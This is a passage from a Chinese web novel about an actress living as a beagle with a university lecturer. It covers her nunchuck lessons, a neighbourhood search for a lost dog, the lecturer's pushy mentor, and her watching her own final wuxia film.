师傅把她抱起来,俯身把双截棍捡回来,放在她的怀里。
“我不想学这个。”
夏焰不知道她什么意思,要她拿着双截棍。
“你太浮躁,练武之人讲究本自具足,以我见我。习武之狗也是如此。”
“我问你为什么想学武?”
因为这招,特别帅特别厉害?
不不不,夏焰摇头。
是因为什么呢?
当初为什么学武?那是因为母亲想要自己接手姥姥的班。
那现在为什么学武?是想要让她们看见自己的成长,让她们给她夸奖。
“你做任何事都是在意身边人怎么想,任由他们改变你,捶打你,你的形不在,更别谈如何武。”
“你拿着。”她把夏焰放在地上。
从墙上取下她的专用双截棍,夏焰手里的同款,只不过大了几号。
站直身体,握住一根棍子,另一个棍子迅速武花,最后向后利落一收。
“第一招:流星赶月!”
再次抽出,用手腕灵巧转动,左劈右劈,一套动作行云流水,她就站在那里眼睛也不眨一下,从未闪躲。
夏焰一动不动,还陷在师傅的动作里,她从中品出不一样的感觉。
她动作的轻巧和清脆的棍链声好似相融相生,和谐极了。
夏焰呆呆坐在师傅脚边看着她的眼睛。
师傅笑问她怎么傻眼了,是不是被吓傻了。
夏焰害羞地往师傅怀里钻。
“咚咚咚。”
林砚之上门要狗来了,时针指向九点。
林砚之毫不知情地打断了师徒情深,接过她的双截棍。
“这是?”
“这是我送小朋友的玩具。”
瓜皮兄送夏焰到门口,感慨道:“真好,奶奶终于找到了她的传承狗。”它低头看看自己的短腿,“唉,我始终无法完成她的期望。”
“你真神!狗居然会打拳!”它抬起前爪。
夏焰嘴角抽搐,和它碰拳:“你也挺神的,狗居然会做饭。”
11. 林老师让我及格吧
夏焰被林砚之带回家里,一进门觉得双腿直打颤。
颤颤悠悠路过尼莫,它问她是不是骑单车去了,怎么腿这么抖。
她说:“你想象不到。”
刚才和师傅对打那两下消耗的体力比当狗以来每一天加起来都大的多。
饿的快要晕倒。
林砚之把她抱到椅子上坐好,摸到她耳朵处的鼓包,问她是不是被双截棍打了。
夏焰点点头,又摇摇头,觉得有失尊严。
林砚之犹豫着把双截棍放进高处的抽屉里。
从厨房端出夏焰的早餐,水煮菜。
你就给我们习武之人吃这个?
“你知不知道我拜师是为了谁?还不是为了保护这个家?你就给保安处处长吃这个?我告诉你,谁给我馒头谁给我拳头我记得清清楚楚!明明白白!”
林砚之看着眼前的小狗一边说话一边点头,像是领导训话,觉得好笑,又从锅里掏出一个水煮蛋。
……蛮好,减脂餐。
夏焰爪子抖得不行,改用嘴筒子刨饭。
她越来越能适应这幅身体,从一开始连路都走不好,到现在甚至能和师傅过两招,她在熟悉身体,也是身体在适应她。
原来的小狗从来不会思考该如何练习站立,该如何打出完美的一招一式。
但是夏焰在思考,这幅身体就会不由自主地帮她完成思考。
她此刻坐在沙发上,听着电视里放出的《玩具总动员》开头在思考,该如何把抽屉里的双截棍拿下来。
她想叫林砚之拿下来给她。
于是跑进他的书房。
林砚之的书房从不关门,不管外面的两个在看电视还是唱卡拉ok,什么都不会影响他,期末考试刚结束,他坐在书房里一待就是一天,伏案改卷,戴着眼镜显得更加不近人情。
夏焰看着他改卷,红笔划得飞快,眉头越皱越紧,最后要深呼吸,不可置信地把卷子翻到最前面,一点点算分,来回翻那张薄薄的卷子,想再从里面找出一分。
她想象着一个恶魔在书桌前大叫:“这个给我挂掉!这个也挂!那个也挂!通通都给我挂掉!”然后嘴巴裂开长长的口子,发出最邪恶的笑声。
夏焰打了个寒颤,像走猫步一样踮起脚尖,小心不让自己发出声音,让恶魔苏醒。
然后一个箭步跳到林砚之的腿上。
他在电脑表格的总得分处打出一个60,松了一口气。然后开始调下一个同学的平时分,试图把成绩拉到60,结果没想到平时分拉到满分也还是差五分才能及格,他摇摇头,惋惜地叹气。
夏焰没想到他居然还是个仁慈的老师,她靠在林砚之的胸前趴着书桌边上看电脑。
林砚之用手挡她的眼睛,说:“会不会太刺眼?”
接着起身把灯全部打开。
他们就这样端坐在亮得像天堂一样的书房里。
“好像ufo发射出的激光。”夏焰眯着眼睛看他。
夏焰眼看林砚之终于要登完成绩,想要他去帮忙把双截棍拿下来。此时桌上的手机突然开始震动。
来电人显示:韩老师。
林砚之接通电话:“老师?”
夏焰在他的腿上踩来踩去,差点从腿上掉下去,他扶稳小狗,把电话免提打开。
“小林啊。”
电话那头是上了年纪的男人声音,夏焰甚至能想象出他的样子,一定是干巴巴的老头。
“老师您说。”
林砚之从笔筒里拿出一把梳子,一下一下地给夏焰梳着,木头梳齿轻轻按摩着夏焰的脑袋,她舒服地直哼哼,靠倒在男人怀里。
“前两天两天不是开了招聘会吗?里面有一个是老师本家的孩子,也姓韩,等到正式面试的时候你记得多关照一下。”
林砚之手上的动作不停,只是动作放缓,夏焰还迷糊着。
这也太糜烂了,习武之人不能这样。
一边这样想着一边让他别偷懒继续工作。
林砚之缓缓开口询问道:“他不是相关专业的吧?”然后又补充,“我记得他的简历,叫韩佳。”
“唉对对就是他!”电话那头略显激动,“没事进来也是做后勤工作,关键时候不占别人的名额!”
“那不成!”电话那头插入其他人的声音听不真切。
“你闭嘴!”男人捂着电话回吼。
夏焰和林砚之当场愣住,对事情发展成这样不由得对视。
“老师。”他出声打断电话那头的争吵。
“唉在,小林你说。你别在这说话了,一边待着去!小林你说。”他的语气又恢复正常。
“老师,这批人里面有个是A大的博士,我想招他进来,团队刚好有他这个专业的空缺。”
“啊呀傻孩子,你怎么不知道变通呢?你不招他进来难道就不能和他合作了吗?”
“只要你想,肯定有的是办法。”他一句接着一句把话堵的密不透风。
“那孩子只要一进来,他父母那块能拉来多少赞助你知不知道?你呀你,总是弄不清该做什么。就像那次,叫你用灵芝做数据,你非不肯,偏要用虫草。
砚之啊老师对你可是掏心掏肺了,有些话本来不该我说,可偏偏你父母早逝,教导你,这就成了老师的责任。别再当自己还是学生了,29的讲师,很快就要评上副教授,今年不行,明年也肯定没得跑,算是年轻有为,再过两年还考虑成家了,别再当做是念书的时候了。”
林砚之低头一言不发,夏焰却能很轻易的看清他的表情。
她突然对着手机一阵狂吠。
明显把电话那头的人吓一跳。
“小林你的狗啊,还真是活泼哈,我说的话你要往心里去,多想想。后天上午的面试那孩子在最后一个,你多关注。”
电话挂断了。
林砚之把手机彻底关机,像块板砖一样随意丢在桌上。把夏焰放在地上,轻推她的屁股,叫她先去自己看电视,他工作完就来和她玩。
夏焰只好走出书房,半路回头,看他撑着头捏着鼻梁,没有一点血气。
夏焰从茶几上的果篮里扒拉出一个橘子,推了把,让橘子滚进林砚之的书房。
“是你要吃吗?”
林砚之向屋外喊着。
夏焰甩着尾巴走到门口,用爪子用力地点点林砚之,命令他吃掉橘子。
美味的橘子让人心情愉悦。
夏焰吃着林砚之剥开的橘子,他们一人一半。
她遛着弯拐进那间挂着相框的大卧室。
仔细看着林砚之和家人的合照,看他的妈妈和爸爸。
血脉
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真是神奇,两个人结合就能诞下带有两人基因印记的孩子,他们的基因就这样被代代相承,不论他们是分开还是一起消逝,总有些东西不可磨灭永恒不变。
他母亲的眼睛和鼻梁,父亲乌黑的眉毛,还有他自己的嘴唇。
父亲的基因在他身上产生怯懦,因此林砚之看起来像妈妈多一点。
她不由自主地想要摸摸自己脸,想象着母亲又在她身上的哪里留下印记。
结果摸到毛茸茸的额头和湿漉漉的鼻子。
“阿秋!”一声喷嚏过后她听见断断续续的敲门声。
她路过林砚之的书房门口,看他正聚精会神地在电脑上输入成绩。
“咚咚咚,咚,咚咚。”富有节奏的敲门声。
“小狗,去开门。”尼莫目不转睛地盯着电视,使唤着夏焰。
夏焰把椅子推到大门口,站在上面想要通过猫眼看看来者是谁。
“尼莫!屋外没人!是不是鬼敲门!”
又是一阵同样规律的敲门声,夏焰从椅子上跳下来,想去叫林砚之。
尼莫出声阻止:“是大毛啦!快去开门!”
她把门打开一条小缝,一个陌生的嘴筒子立刻塞进来。
她哇呜一声,一个飞踢想把门踹上。
“等一下!是我们!”
夏焰听到大毛的声音,暂停动作,把门打开。
“大毛姐?还有……串串?”
“他叫二毛。”
“噢噢,二毛你好,你没事吧?”
二毛捂着被门夹过的脸摇摇头说没事。
“我们来清点数量。”
“数量?什么数量?”
二毛跨进屋内一步,指了指夏焰,计数“1”,指了指尼莫,计数“2”,然后退出到门口对大毛说:“数量正确。”
大毛对它点点头。
紧接着转头对夏焰说:“又有小狗失踪了,这是这个月的第二次了。”
夏焰问:“所以你们是来清点宠物数量的吗?”
“对,并且来告诉你们不要独自乱跑。”
二毛回答道。
夏焰看看打瞌睡的尼莫还有书房里的林砚之,突然对他们说的来了兴致,想要和他们一起工作。
“大毛姐,我可以做你的保镖。”
“不需要。”二毛冷漠地帮它拒绝。
“老大说话,老二插什么嘴?”
“那你算什么?你是小三?”
“咳咳!”大毛咳嗽出声制止这场越来越没有道德底线的对话。
“你就带上我吧,毛毛姐。”夏焰发动大眼电波,她觉得自己的脸皮越来越厚,当小狗真是越来越得心应手。
可惜狗狗的豆豆眼没能接受到她的电波。
不过大毛决定带上她。
“先说好,不许乱跑,我们就只带你查这栋楼。”
“yes,sir!”说完向它敬礼。
旁边的二毛发出不满的弹舌声。
夏焰当没听见,连门也不关,就跟着大毛屁股后面走了。
大毛从最顶楼开始查到这一层,所以她们从林砚之家的这层楼开始,向楼下前进。
下一层的第一户人家养了一只通身雪白的比熊。
大毛没告诉夏焰,但是夏焰踩到了一张寻狗启示。
12. 嘿咻嘿咻拔萝卜
夏焰的爪子踩到一张涂满胶水的纸,胶水还没干,不知道是贴在哪里被吹下来的。
她抬起那只爪子奋力甩甩甩,想把纸甩掉,结果在她的爪子上牢牢粘紧。
“粘墙粘不牢,粘我倒是粘的紧!”
她用左边的爪子踩住纸,右爪子奋力一拔,纸又黏到她的左边。
大毛指挥二毛踩住纸,它夹着夏焰像拔萝卜一样往外拔,把她的身体拉长,像长棍面包。
“拔萝卜,拔萝卜,嘿咻嘿咻拔萝卜。”
“老太婆快快来,快来帮我们,不对,哪里来的歌声。”夏焰跟着唱了一句才意识到不对劲。
大毛二毛同样感到意外,三只一起转头,一个穿着红裙子的小女孩出现在楼梯拐角。
“拔萝卜,拔萝卜,嘿咻嘿咻拔萝卜。”她边笑边跳,鞋跟在地上嗒嗒作响,她注视着它们继续唱歌。
“我来帮你们一起拔萝卜。”
楼道的灯光一闪一闪,只有墙角的应急灯在发出绿光,看她伸出两只手准备向她们走来,三只不谋而合决定拔腿就跑。
二毛两只爪子都黏在纸上,只能用后脚往下蹦,大毛还扯着夏焰的上半身,她们保持这个姿势,往楼下跑。
小女孩穿着的小皮鞋踩地声音在楼道里啪啪作响,像菜刀剁肉,越来越快。
夏焰被扯着身体,欲哭无泪,其他两只都在注意看着脚下的楼梯以防踩空摔个狗啃屎,只有她抬起头看的一清二楚,小女孩跑的越来越快,笑的声音越来越大。
现实版死神来了。
在她们抱头鼠窜的时候,纸突然被踩裂开了,三只一下子失去了协调力,摔倒一团,滚在楼梯中间的平台上。
“下辈子我不再吃胡萝卜。”
不知道是谁发出一声叹息。
小女孩在阴暗的楼道里抓住她们。
小小的身体一把抱住她们三个。
咦,是热的。
夏焰的肚皮隔着衣服贴在女孩的肚子上。
“小狗狗!妈妈!好——多的小狗狗。”
“好家伙,当时站住不动让她摸两下算了,痛死我了。”夏焰跺跺脚,摸摸自己的屁股。
低头一看,爪子上就只剩下一张狗头相,她轻轻用嘴撕下来拍到地上。
一只白色的比熊,吐着舌头傻乐着面对镜头,还印的是彩照,咋一看跟没上色一样。
小女孩也低头看着,她惊讶地指着狗头叫出声来:“这是我们家的小狗!”
“它走丢了!妈妈说它自己会回来的,可是已经过了一个星期了,还是没有回来,我就求求妈妈给它贴一个照片如果有人看到它就可以打电话给我们,带它回家。”
小女孩看着年纪不大就五六岁的样子,却口齿清晰,很有逻辑。
“宝宝!你在哪?”
上面传来呼喊声,女孩喊着妈妈要她下来。
三只在她的怀里一动不动,直到她妈妈把她抱起来,她们才扭扭脖子抻抻腿,活动一下筋骨。
“小慧,这又是哪里来的小狗?都说了你对狗毛过敏,不要靠近小狗。”
“那豆豆刚来家里的时候我都不会过敏呢,为什么现在会过敏呢?”
妈妈抱着小慧往楼上走。
“因为你长大了,体质也会改变呢,我们回去洗洗澡吃点抗过敏药好不好。”
留下三只面面相觑,谁也不肯先开口。
“这个不会是?嗯?”
夏焰看向大毛,也不挑明了说。
“他们家之前把它照顾得很好。”
“那她不是说之前不会过敏吗?”
“你们到底在说啥?能不能直接点?有啥好藏着掖着的。”二毛碎纸堆在一起,看看大毛又看看夏焰。
最后把目光锁定在寻狗启示四个大字上。
“它被丢了。”
二毛轻飘飘的一句话,显得云淡风轻,毫不在意。
“走吧。说不定过两天就会成为我们中的一员了。”它说着,自顾自走下楼梯。
然后停步望向大毛。
大毛轻声叹气,看着夏焰说:“回家吧,你的家人还在等你,时间久了他会着急的。”
说完也走下阶梯,站到比二毛高一阶的台阶处,拍了两下它的脑袋。大毛比二毛的体型大一圈,甚至可以把它遮住,此刻成为它真正的精神统领,默默安抚它的情绪。
夏焰看它们走远,也从原路返回。
等她从大门缝隙里钻回去的时候林砚之还在书房里工作。
她蹭了一身灰,脚底也黏黏的,跳到鱼缸边上,伸手捞水洗脸。
“你别把脏东西洗进来了,我有洁癖的。”
“你看你拉的都堆起来的,还说有洁癖。”她啪啪拍着水面,让尼莫离远一点。
“那还不是怪他,根本不把我放在心上,有了你就忘了兄弟,那天我差点把粑粑当鱼粮嚼了。诶对了你给我加点吃的。”
“我走之前你才吃过。”夏焰认真梳理着自己的毛发。
“你去哪啦?”
“楼下那家的小狗丢了。我们怀疑是被她家人送走了。”
“说不定是随便找地方丢了呢,我告诉你我可见过太多了,只生不养的多的是,人对自己的孩子都是这样,更别说对宠物了,本来就是图一乐结果发现还要付出时间和精力去照顾另一个小生命,就把它们随意丢弃。”
夏焰发现尼莫时常会讲出一些不符合它大脑容积的哲学思考。
“大毛二毛都是这样吗?”
“二毛是,它被原来的主人养到六个月的时候丢弃在马路边上,那是个冬天,要不是大毛姐它就死定了。但是大毛姐不是,它说它第一次睁开眼,就只有它自己。”
尼莫围着鱼缸散步一圈,凑近夏焰以为它想起了过去的悲伤往事,安慰道:“没事的,妹儿,都过去了,现在有我,还有咱哥,我们是幸福的一家三口。”
说完开始跟着电视广告唱起了《吉祥三宝》。
“宝贝,唉什么酸酸甜甜我们都爱~”
“我也是被人丢掉的?我是说我这个小狗。”
麦霸尼莫放弃继续一展歌喉的机会,不解地看着她:“你又在说什么胡话啦,我们不是听大毛姐说了吗,它从河边把你捡回来的啊,还去了你家的大房子,没有人在找你。”
夏焰愣神,恍惚间不清楚它在说自己还是这只小狗。
“没事的哎呦,不哭不哭,到我的怀里来抱抱。”尼莫张开身体贴在鱼缸壁上。
夏焰看着它这幅好笑的样子一点也笑不出来,但还是张开双手希望得到一个拥抱。
温暖的,宽阔
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的,还有心脏正在砰砰跳动的。
林砚之把她抱进怀里,低头看她神情低落的样子若有所思。
“怎么了?偷偷出去玩被欺负了?怎么灰头土脸的。”他扒拉她耳朵上的细碎绒毛,轻轻抚开上面的灰尘。
夏焰抬头看着他不知道说什么好,索性头一低继续埋在他的怀里。
林砚之把门锁好,打了温水来给她擦拭身体。
“你看水都变成黑色了,到底去哪里蹭的一身灰?”林砚之皱着眉毛想要狠狠教训她,看见她那副可怜样又舍不得,只好夸她是最爱干净的小狗。
这招可能对小□□用,可是夏焰不是小狗,她还是一副死气沉沉的样子。
林砚之只好拿出手机拍了一张她的照片发在群里问大家。
林:谁欺负我家孩子了?回来连饭都不吃了。
原本一潭死水的群里突然热闹起来,让林砚之多拍点小狗,大家要看看不吃饭的小狗啥样。
林:你们家里没有狗吗?谁把我家孩子欺负了?
大家一点都不在意他在说什么还是一个劲儿的要看狗。
花开富贵发来私聊:小宝怎么不吃饭?
林砚之录视频给奶奶看。
早上还活蹦乱跳的小狗现在坐在沙发上揣着手一言不发,仰头看着天花板思考人生。
花开富贵:是不是累着了?
慧慧妈妈发来好友申请:叔叔我今天看到你的小狗了。
他连忙同意申请。
慧慧妈妈发来一条长长的语音,林砚之点开,手机里传来稚嫩的声音:“叔叔我们家的豆豆丢了,今天你们家的小狗和大毛二毛在我们家门口帮我们找豆豆呢。”
她常常停顿,时不时咳嗽两声,最后说他的小狗实在是太可爱了,可不可以让她和它一起玩。
“妈妈说不能和大毛二毛一起玩,它们是流浪狗,身上有病毒,你们家的小狗没有病毒,可是,它也会和大毛二毛一起玩呀,所以是妈妈错了,对吧妈妈。”
林砚之觉得眼睛泛酸,把快要化成一滩悲伤的泥巴的夏焰铲起来。
“小宝,没想到你这么感性。”林砚之鼻子一酸感觉要把夏焰没流出来的泪替她哭出来。
置身事外,头脑游离天外的夏焰搞不懂林砚之到底在搞什么飞机,她终于把思绪的飞机开回正轨,看向林砚之并赠他一个标准的上勾拳。
林砚之摸着下巴满意地离开了,他要去制作一家三口的午餐。
心情很好,路过鱼缸正准备投食,却嫌弃道:“你怎么不爱干净?粑粑都堆起来了。”
“你还好意思说?我都没骂你。”
他刚刚启动吸便器,一粒粒鱼便排队上天,尼莫以为林砚之在跟它抢食,连忙争着抢着塞进嘴里。
进嘴的那一刻大叫:“呕,粑粑!”
夏焰笑得要从桌子上翻下去,林砚之赶紧接住她,也笑的不行。
“好好好,我今晚就离家出走。”尼莫大声哭诉着。
夏焰趴在林砚之肩头,叫尼莫想开点。
吃完午饭夏焰昏昏欲睡,情绪不佳,体力消耗也太大,累的连晚饭也不想吃,一动不动,只想一觉睡到明天早上。
她睡得正香,被林砚之摇醒,他凑近她的耳朵小声说:“我们出去遛弯吧,让你开心一下。”
13. 不许给狗磕头
夏焰被林砚之连哄带抱带去楼下去遛弯,她坐在林砚之的手臂上说什么也不下地,提起爪子给他看,告诉他自己走不了路了。
“这会儿空气多好,你下地转悠转悠,你不是喜欢在草坪上打滚,现在没人和你抢,你快去。”
夏焰刚刚才看见一只泰迪在草坪上抬腿撒尿,她紧紧拽住林砚之的衬衣扣子,不让他把自己放在地上。
林砚之弯腰弓着身子,把她的爪子贴到还有些烈日余温的石砖路上。
“玩一会,玩一会我们就回去洗澡睡觉。”
夏焰一屁股坐在被晒了一天的石头上,觉得屁股烫烫的,把爪子摊开,后爪子相对,一晃一晃,闷热的空气让她有些窒息。
林砚之就站在她的旁边陪她一起观赏今天的夕阳。
课本插图里的火烧云被抓到夏焰抬头就能看见的天空上,甩着流星一般的尾巴,不知道会飘向何处。
晚风开始渐渐带上凉意,夏焰的耳朵被风吹歪一点,她伸手把它们固定在脸上。
等到夏焰又拍死了一只蚊子,她看着满地的蚊子尸体,再次拉住林砚之的裤腿,问他什么时候回家。
夏焰抬头望去,觉得林砚之在落日余晖下显得更加高大,不知道是她变得太小还是夕阳的剪影带来的恍惚错觉,他好像比任何人或事都要可靠,他们的体温和气息都在风里交融,夏焰突然觉得荒谬得可笑。可是风太辛辣,倒灌进她的喉咙里让她咳嗽起来,咳得眼泪都要落下来。
林砚之当然不懂一只小狗为什么会落泪,他只担心她有没有吃好喝好,是不是有人欺负了她,自己有没有照顾好她。
他没把她抱起,而是蹲下身去,手掌撑着地面,静静等待这只多愁善感的小狗发泄完自己的情绪。
夏焰吸吸鼻子,一转身就回到了林砚之的怀里。
林砚之轻笑着环抱住她,感受她的喷洒在胸前的鼻息。
却意外地感受到了另一个活物的气息。
夏焰扭头看见一只棕色的泰迪正抬起一只爪子放到她的爪子上,吐着舌头,对她乐呵呵地笑。
“它想和你做朋友呢。”离他们几步远处一位大婶拎着垃圾袋侧对着他们。
林砚之立刻把夏焰抱进怀里,站起身来,还顺便拉开泰迪的腿看看。
变态啊。
夏焰表情狰狞。
林砚之看向她:“别胡说。”
夏焰微不可查地心跳跳漏一拍,好像得知了什么不得了的事情。
大婶拉着牵引绳,叫着泰迪:“走啦!人家不想和你玩,你别老扒拉人家。”她又对林砚之笑道:“你们家的比格性格蛮好的,胆子这么小哈哈。”
“她在家里比较淘气。”
林砚之把手揣进口袋里,从口袋里掏出一张名片,递给大婶。
大婶礼貌接过,一字一字读出名片上的闪烁的大字:
“提供免费绝育。”她语气激动看向林砚之,“你是兽医呀!”
作为兽医的朋友林砚之每天也很忙碌,不是和小动物们待在一起,而是要在实验室研究植物细胞。
日理万机的林砚之怕夏焰趁他不在又偷偷跑出门受欺负,在这个小区里,什么狗都有,南来的北往的,混的狗不少,他害怕她打不过它们,只好把她送到隔壁奶奶那里,直到他下班回家。
“给你安排上托儿所了?”尼莫咂咂嘴,觉得不可思议。
“你在家少看点电视,多动一下,你看你肚子都快比皮球大了。”
夏焰背着她的双截棍在关门的最后一刻叮嘱着尼莫。
她开始弄不懂昨天和许多个昨天,发生的究竟是巧合还是林砚之真的是心理学专家,看她的面部表情和肢体语言就能知道她在想什么,或者是?
夏焰摇摇头,读心术,也太扯了。
那我今天站在他面前一言不发,在心里想着让他把我的双截棍拿下来他怎么不拿?
还是等师傅来了才帮她拿出来。
她把双截棍挂在脖子上,和师傅一起走到小区后花园。
师傅背着手,在此处立足,一声指令铿锵有力,压过练声的大爷。
“很好!今天天气凉爽!很适合练功!热身两圈!”
夏焰听着师傅一二一的指令跑的认真,围着花坛和瓜皮兄一起热身跑。
“嘿嘿嘿瓜皮兄,我又超过你喽,你可不要哭噢。”夏焰甩着耳朵,回头和再次落后的瓜皮兄嘚瑟。
“师妹,我是不会哭的,正所谓,男子汉,大丈夫,做狗亦是如此,我要向你学习。”瓜皮兄一边喘着气,一边还要尽力回应夏焰,四只爪子抡得飞快,还是赶不上夏焰。
按理来说普通的比格犬,不能有这种速度,但是夏焰不一般,她跑两步就开始琢磨着怎么跑得更快,开始尝试往前奔跳,跳着跳着就掌握技巧了,边跑边跳,越来越快。
师傅坐在花坛边上看着她满意地摇着扇子。
等到两只停下来坐在地上累的气喘吁吁,她才慢慢站起来。
“好!很好!很有精神!”
夏焰一边吐舌头散热一边跟着鼓掌。
“瓜皮去那边树荫底下休息吧。”她指着那棵大槐树下的阴凉处对瓜皮说。
她看着瓜皮走到树下坐好。
然后看向夏焰:“接下来让我看看你练习的怎么样了。”
师傅帮她把两只大耳朵用发绳扎起来不影响她的动作。
夏焰拿起那副属于她的双截棍,起身架好姿势,深呼吸。
双截棍虚夹在腋下,狗狗的手掌没法抓握住棍子,但是可以弯曲一节手臂夹紧。
夏焰这些天在家里趁林砚之在忙就偷偷爬到柜子上去掏双截棍。
几天时间就掌握了第一招。
棍子在她手里甩的又稳又快,划破空气的爆破声在耳边响起,慢慢吐气,把棍子一下收回,结束。
等她再次吸气时,她闻到空气里充斥着奶油蛋糕的味道。
她揉揉鼻子,看向师傅。
师傅正微笑的看着她,一左一右多出两位护法,张大嘴巴痴呆的看着她,两人手里的蛋糕啪叽一下滑落在地。
“MyGod!”
“老天爷!”
“这狗会打双截棍!”
两个小男孩异口同声地尖叫,然后双腿一弯拜倒在师傅跟前,请她收他们为徒。
“师傅在上请受徒儿一拜!”
“受徒儿二拜!”
“三拜!”
“停!”师傅一手一个抓着他们的后领把他们抓起来。
“我可没说要收你俩当徒弟。”
“师傅您连狗,这只非常可爱活泼的小狗,都能教的这么好,我们俩肯定不比狗差。”
“来试试?”师傅打开保温杯喝口里面的冰水。
“来就来!”
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>下一秒一个飞踹出现,穿绿色短袖的男孩肚子上出现一个泥爪子,他朝后摔向花坛里,又摔出一屁股泥巴。
另一个黄色短袖带着眼镜的男孩,识时务者为俊杰,立刻拜倒在夏焰的脚下,大喊:“师傅!受徒儿一拜!”
突然远处传来一声爆鸣:
“王福,你在花坛里干嘛!”
她走近再次发出爆鸣:“王禄你给狗磕头!”
这位母亲没有想到,会这么做的不止她的两个倒霉孩子。
夏焰的名声传开了,在小朋友圈里传开了,可能是在课间闲聊的时候,也可能是在回家的路上买路边摊的时候,反正是传开了。
每次练功的时候就会零零散散出现几个小孩一言不发紧盯着她,让她心里毛毛的,等她停下动作,他们就拽着彼此的书包带一起跪下大呼:“狗狗天神!”
“狗狗天神?”林砚之开会的西装还没来得及脱下,就收到好几条小区里家长的投诉短信。
他站在夏焰面前,她正在和尼莫看动画片,林砚之蹲下挡住她的视线。
语重心长地说:“我是说叫你不要让别的狗欺负了,可你也不能欺负别人啊,你怎么能让他们给你磕头呢?”
林砚之觉得说出来很好笑,但是得维持严肃的一面,实施教育。
夏焰瞅他一眼。
他心领神会地向旁边挪了一步。
“你有没有听我说?”他伸手扭过夏焰的脑袋,让两颗豆豆眼直视他的眼睛。
夏焰却不顺从他的心意,非要斜着眼睛继续看电视。
“那你这几天就在家好好反省吧,不要出去玩了。”
立刻拨电话给奶奶说他休假了,夏焰这几天就不去她那里了。
你来真的啊?
夏焰在他脚边跳着,要他把电话挂掉。
没想到此男的心如此狠毒,整整三天都没有放她出去玩。
她从床头抽屉里翻出充电宝,拖到小窝里,掏出没电关机好几天的手机。
只有没得玩了她才想起来玩玩手机。
刚刚开机,一堆消息就挤满手机屏幕。
她缩在窝里捧着手机,很快浏览一遍消息,都是些垃圾短信营销账号,没发现什么重要的,正准备点进开心消消乐开心一下,收到了沈盛的微信消息。
明晚九点,家里等我,接你去晚宴,有好消息。
夏焰看着手机发愣,大脑一片空白,她点开日历,发现离当时说的休息截止时间还有十天。
她看向自己毛茸茸的爪子,意识到如果明天晚上不出现,她立刻会出现在寻人启事上。
恍惚间听见开锁的声音,她迅速把手机藏回包里,跑出卧室。
林砚之提着刚买的菜回来,却没把门关上,他叫夏焰去看看谁在门口。
夏焰听他的话走到门口,看到站在门口的大毛。
还有一个陌生女人正用绳子牵着一只小白狗,看着眼熟,夏焰试着叫它:“豆豆?”
豆豆闻声转头,看着她吐出舌头,一副没心没肺的样子。
女人对她笑笑,眼睛锁定她身后的林砚之,然后牵着豆豆开门进屋。
夏焰看着这一幕呆住,摸不着头脑。
她正准备询问大毛,大毛抢先一步说:“我们在狗肉馆找到的豆豆。”
“林砚之把它赎回来了,刚才那个女人是你的邻居,以后她会照顾豆豆。”
14. 小焰!超级变身!
影视剧里惯用电闪雷鸣,风雨交加的夜晚来衬托主角的失落与孤寂。
夏焰却觉得傍晚时分的落日才更令人压抑,夜幕迅速降临把她卷入无边黑暗,没有声音也没有光亮,她的尖叫声被扼杀在喉咙里,却出现在耳朵里,一阵刺耳的轰鸣声长针一样刺穿她的耳蜗。
彻底从悬崖坠落,失重的感觉。
一双大手稳稳把她接住。
“为什么不开灯呢?”
林砚之抱着她去打开客厅的水晶灯,又有一颗水晶吊坠的接头老化,摇摇欲坠。
林砚之索性直接把它取下来,怕哪天砸下来打到夏焰。
他把吊坠递给夏焰:“不可以吃。”
“怎么了?我只是去倒垃圾,这么舍不得我?”他夸张地笑着把夏焰抱到沙发上,打开电视。
“我们今天不看动画片了,燕燕陪我看部电影吧。”
“不行!”尼莫肚子一鼓,拍着肚皮,厉声拒绝。
“看这个吧,我这几年来喜欢的电影。”
夏焰靠着他的手臂一言不发,低头盯着自己的爪子,没把心思放在他的电影上。
他起身把灯给关了,客厅又暗下来,林砚之把夏焰抱在怀里,夏焰靠在他的胸口,在黑暗里听着他强有力的心跳震动声。
她觉得声音太大了,比电影的声音还大,偏头躲开他的心跳声。
电影片头结束,正片开始。
镜头跟着一个男人,看他头戴斗笠,身着黑衣,侧腰上夹着几枚飞镖。
看他步子稳健,速度很快,穿过竹林,低头钻进闹市。
镜头切换成男人的第一视角。
他在大宅门前停下,抬头确认后压低帽檐,将怀里的信递给侧门的小斯,小斯将信递给管家。
他等待着。
大门推开,先见的是青色的绣花衣袖,再进入镜头的,是一张青涩的脸,一双倔强的眼。
她问:“阁下何许人也?”
熟悉的声音撞进耳朵,夏焰抬起头来,和自己对视。
这是五年前上映的电影,拍电影的时候她才刚满十五岁,在一年后上映,导演王晓曼的封山作。
上映第二天她就因病去世,这是她的创作生涯的最后一舞。
一部于上个世纪拍摄的武打片,让她名声大噪,而最后又以一部武侠片作为结尾,观众影迷们对此众说纷纭。
有人大呼:“武侠已死!”
连老牌导演都没法重现往日的辉煌,国内奖项颗粒无收。只有一个国际电影节最佳影片奖。
尽管夏焰年纪轻轻就提名最佳女主角,但观众仍不满意。
将她与她的姥姥相提比。姥姥参演导演第一部武侠电影,和另一位女演员合称“并蒂金莲”,一时间无人不知无人不晓。
那段时间里,武侠电影如雨后春笋般层出不穷,让人眼花缭乱。
一个时代过去,风靡一时的武打片,武侠电影逐渐没落,武打演员变得少之又少,等到了她这代已经是青黄不接的情况。
武侠,在他们一声又一声的哀叹里真的凋亡了。
夏焰看着屏幕里熟悉到不能再熟悉的电影,她甚至能说出每一个空镜镜头会在几分几秒出现。
她看着屏幕上的自己,又转头看向聚精会神看电影的林砚之,像是看第一遍一样专注认真。
气氛有些诡异的安静。
夏焰从来没想到过自己会在这种情况下看完这部电影。
林砚之环住她的身体,手掌虚贴在她的胸前,轻轻按压,又把脸贴在她的头上。
他说:“燕燕,你的小心脏怎么跳这么快?”
“你不舒服吗?”
他把灯打开,坐回她身边。
林砚之没想到自己会养这样一只多愁善感,喜怒无常的小狗。
夏焰也意识到了这点,她在扮演小狗过家家的时候,什么事都不放在心上,这里根本没有大事,天塌下来也还有人挡。
一旦意识回笼,要回到自己的人生中去,她好像有数不完的烦恼。
“我今天买菜的时候,听见小狗的叫声,我以为是你,害怕是你又偷偷跑出来被人欺负。”
“走近了才看到是一只小白狗,被关在笼子里一直在叫唤,那家店的老板就坐在旁边磨刀,让我别同情心泛滥,不吃就走。
我仔细一看,那不是你的小朋友吗?”他露出庆幸的表情,“我把它带回来了,你怎么还不开心呢?”
林砚之伸手摸摸她的脑袋,柔情似水,眼睛里只有她的存在。
“为什么不开心?我很多时候读不懂你的心。”
“不过,”他长长吐出胸腔里憋了很久的气息,眉毛抬高,提高音量,“想做什么就去做吧。你那么聪明,勇敢,你是我见过最最厉害的小狗。”
